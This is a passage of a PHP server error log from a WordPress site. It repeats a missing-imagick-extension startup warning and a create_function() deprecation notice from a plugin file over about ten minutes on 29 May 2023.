dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:29:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:30:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:30:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:30:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:30:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:30:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:30:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:30:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:30:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:31:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:31:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:31:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:31:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:31:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:31:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:31:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:31:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:31:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:31:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:31:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:31:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:32:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:32:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:32:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:32:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:32:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:32:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:32:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:32:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:33:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:33:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:33:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:33:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:33:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:33:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:33:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:33:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:33:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:33:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:33:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:33:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:33:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:33:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:33:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:33:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:34:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:34:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:34:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:34:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:34:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:34:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:34:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:34:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:34:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:34:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:34:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:34:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:35:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:35:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:35:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:35:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:35:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:35:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:36:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:36:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:36:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:36:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:36:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:36:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:36:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:36:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:36:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:36:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:36:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:36:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:37:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:37:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:37:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:37:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:37:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:37:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:37:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:37:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:38:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:38:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:38:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:38:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:38:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:38:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:38:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:38:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:38:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:38:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:39:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:39:01 UTC] PHP Deprecated: Function create_function() is deprecated in 